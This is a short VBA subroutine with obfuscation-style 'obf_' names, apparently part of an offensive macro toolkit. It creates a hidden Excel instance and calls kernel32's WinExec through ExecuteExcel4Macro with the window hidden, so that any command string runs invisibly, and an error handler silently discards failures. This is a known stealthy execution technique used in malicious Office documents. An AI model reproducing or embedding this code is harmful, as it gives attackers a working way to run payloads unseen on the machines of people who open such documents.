Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError

    With CreateObject("Excel.Application")
        ' kernel32.WinExecA(LPCSTR, UINT)
        ' starts process as hidden
        obf_cmd = "Call(""kernel32"", ""WinExec"", ""JCJ"", """ & obf_command & """, 0)"
        
        .ExecuteExcel4Macro obf_cmd
        .Quit
    End With

obf_ProcError:
End Sub